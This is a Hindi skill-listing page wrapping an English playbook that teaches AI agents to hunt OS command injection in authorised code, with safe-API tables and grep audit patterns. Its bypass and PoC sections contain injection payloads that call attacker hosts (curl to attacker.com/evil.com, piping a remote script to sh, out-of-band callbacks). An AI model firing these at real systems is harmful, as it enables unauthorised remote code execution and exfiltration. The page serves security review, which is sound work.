command-injection
यह क्या करती है
यह स्किल command injection कमज़ोरी खोजने की प्लेबुक है, जहाँ यूज़र का इनपुट ऑपरेटिंग सिस्टम के शेल तक भेजा जाता है। यह उन डेवलपर्स और सुरक्षा समीक्षकों के लिए है जिन्हें वह कोड देखने की अनुमति है।
कब इस्तेमाल करें
- ✓जब डेवलपर पूछता है कि क्या यूज़र का इनपुट शेल या सिस्टम कमांड तक पहुँच सकता है।
- ✓जब एजेंट अपलोड टूल, PDF जनरेटर या मीडिया कन्वर्टर की समीक्षा करता है जो बाहरी प्रोग्राम चलाते हैं।
- ✓जब टीम को हर प्रोग्रामिंग भाषा के लिए सुरक्षित कमांड API की सूची चाहिए।
Skill का लिंक
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/analyst/command-injection/SKILL.mdइसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।
कैसे इस्तेमाल करें
सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।
पेस्ट करने के लिए तैयार मैसेज
Claude Code, Codex या Cursor के लिए: प्रोजेक्ट फ़ोल्डर में चलाएँ और skill इंस्टॉल हो जाएगी।
SKILL.md डाउनलोड करें और अपने एजेंट के skills फ़ोल्डर में रखें।
AI से क्या माँगें: उदाहरण
“क्या आप हमारे अधिकृत सोर्स कोड में ऐसी जगह खोज सकते हैं जहाँ यूज़र का इनपुट सिस्टम कमांड तक पहुँचता है?”
हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।
यह कैसे काम करती है
एजेंट हर भाषा के आम कमांड सिंक कोड में खोजता है, हर सिंक तक इनपुट का रास्ता देखता है, और उन जगहों की सूची बनाता है जिन्हें सुरक्षित तरीके से संभालना होगा।
तकनीकी सामग्री (मूल SKILL.md)
लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।
Command Injection Playbook
If SQL injection is the king of web vulns, command injection is the king of DevOps vulns. Every image-processing upload, PDF generator, ffmpeg wrapper, and "run a script" feature is a candidate.
1. Sinks
| Language | Dangerous | Safer |
|---|---|---|
| Python | os.system, subprocess.Popen(..., shell=True), os.popen, commands.getoutput |
subprocess.run([...], shell=False) |
| Node | child_process.exec, execSync |
child_process.execFile, spawn (array args) |
| Go | exec.Command("sh","-c",user) |
exec.Command(bin, arg1, arg2) with array |
| Java | Runtime.exec(String) |
Runtime.exec(String[]), ProcessBuilder([...]) |
| Ruby | backticks, system(str), %x{...} |
Kernel.system(bin, *args), Open3.capture2e |
| PHP | shell_exec, exec, system, backticks, passthru |
escapeshellarg + explicit execve |
Even the "safer" APIs are exploitable if the binary path is user
controlled (exec.Command(userBin, "--version")).
2. Non-obvious sinks
- Template engines rendering shell: Ansible playbooks, systemd unit files, crontab strings
- Docker-compose / k8s manifests where
command:is built from user input - PDF libraries that shell out to
pdflatex,wkhtmltopdf,puppeteer - ImageMagick —
convert user.jpg out.pngwhereuser.jpgis attacker-chosen (classic ImageTragick) - ffmpeg
-iwith user-provided URL/file (SSRF + RCE combo) - Git clone with user-supplied URL (remote helper injection)
- SSH/Rsync wrappers building
ssh user@host "cmd"from templates - ZIP extractors passing archive path to
unzipbinary
3. Audit workflow
# Level 1: obvious sinks
grep -rE 'os\.system\(|subprocess.*shell\s*=\s*True|exec\s*\(' /workspace/src
grep -rE 'Runtime\.exec\(|ProcessBuilder\([^[]' /workspace/src
grep -rE 'child_process\.(exec|execSync)\(' /workspace/src
# Level 2: shell metacharacters in strings
grep -rE '"[^"]*\$\{[a-z]+\}.*(-[a-z]|[;|&])"' /workspace/src
# Level 3: template strings
grep -rE 'ffmpeg|pdflatex|wkhtmltopdf|convert|pandoc' /workspace/src
4. Bypasses
Even when developers "sanitize" via blocklists:
- Argument injection (the -oProxyCommand trick) — passing
-oProxyCommand=curl $(whoami).attacker.comto ssh-based sinks - Space replacement —
${IFS},{ls,-la}(brace expansion) - Backtick/dollar-paren —
$(id),`id` - Command substitution in filename —
$(curl evil.com/x.sh | sh).jpg - Unicode normalisation —
"(fullwidth) vs"bypass - Encoded newline —
%0Aturns single-command into multi-command - TarSlip —
tar xzf user.tgzwith--checkpoint-action=exec=... - Git —
git clone 'ssh://ext::sh -c whoami # foo'
5. PoC ideas
# Spare out-of-band tester — DNS exfil confirms silent RCE
curl "https://target.com/export?filename=; curl $(whoami).attacker.oob/"
# Blind, response-timing based
curl "https://target.com/export?filename=; sleep 7 #.pdf"
# Noisy but fastest confirmation
curl "https://target.com/export?filename=; id > /tmp/pwn #.pdf"
6. validate_finding contract
- success_patterns:
uid=\d+,root, attacker OOB callback hit,total 0 - negative_command: same URL, filename set to
report.pdf - negative_patterns:
200,accepted
7. Default CVSS
| Variant | Vector | Score |
|---|---|---|
| Blind OOB RCE unauth | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | 9.8 |
| Authenticated RCE (low priv) | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H | 8.8 |
| RCE with scope change (container escape) | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H | 10.0 |
8. Chain promotion
Command injection rarely needs chaining — it's the final hop of most
chains. Instead, use it to promote earlier nodes: add enables edges
from SSRF / file upload / path traversal vulns that deliver the
initial payload.
अक्सर पूछे जाने वाले सवाल
command injection क्या है?
जब यूज़र का इनपुट सिस्टम कमांड में इस तरह भेजा जाए कि यूज़र अपने कमांड जोड़ सके।
सबसे ज़्यादा प्रभावित कौन-सा कोड होता है?
स्किल अपलोड टूल, PDF जनरेटर, वीडियो रैपर और बाहरी प्रोग्राम चलाने वाली स्क्रिप्ट को आम उदाहरण बताती है।
सुरक्षित विकल्प कौन-से हैं?
स्किल हर भाषा में array-आधारित प्रोसेस कॉल सूचीबद्ध करती है, जैसे तर्कों की सूची वाला subprocess, जो शेल से बचते हैं।
जानकारी
लेखक का मूल विवरण
Hunt OS command injection (CWE-78) — user input reaching shell, exec, or system calls. Covers argument-array bypasses, path confusion, and template-string injection in modern frameworks.
लोकप्रियता
- GitHub स्टार
- 6.5k
- रैंकिंग में स्थान
- #13955
- लाइसेंस
- Apache-2.0
- अपडेट की गई
- 1/11/2026
कमेंट
- …
इस repository की और skills
detector-overview
6.5kयह आपके एजेंट को स्कैनर से चिह्नित कोड पढ़ने और तय करने में मदद करती है कि कौन सी जगहें असली सुरक्षा बग हैं और कौन सी गलत चेतावनी।
exploiter-overview
6.5kयह आपके एजेंट को कई पक्की सुरक्षा कमज़ोरियों को एक परीक्षण श्रृंखला में जोड़ने और जाँचने में मदद करती है कि वह श्रृंखला कितनी दूर तक पहुँच सकती है।
llm-redteam-overview
6.5kयह आपके एजेंट को परीक्षण के लिए सही AI रेड-टीम गाइड खोजने में मदद करती है, प्रॉम्प्ट इंजेक्शन से लेकर मॉडल के दुरुपयोग तक 15 रणनीति समूहों में।
aatmf-t01-prompt-injection
6.5kसमझाती है कि प्रॉम्प्ट इंजेक्शन क्या है, जिसमें छिपे निर्देश AI सिस्टम के नियम बदलने की कोशिश करते हैं, ताकि सुरक्षा परीक्षक उसकी जाँच कर सकें।
मिलती-जुलती skills
reverse-engineer-anything
422kयह आपके एजेंट को REA टूल से शिप हुई ऐप्स और पैकेज को अंदर से समझने, वर्ज़न की तुलना करने या दोबारा बनाने में मदद करती है।
1password
394kयह आपके एजेंट को 1Password CLI सेट करने, साइन इन करने और सीक्रेट्स की वैल्यू चैट में छापे बिना उन्हें पढ़ने या इस्तेमाल करने में मदद करती है।
healthcheck
394kयह आपके एजेंट को उस कंप्यूटर या सर्वर का सुरक्षा ऑडिट करने देती है जिस पर OpenClaw चलता है, जिसमें SSH, firewall, अपडेट और बैकअप शामिल हैं, और फिर सुरक्षित सुधार सुझाती है।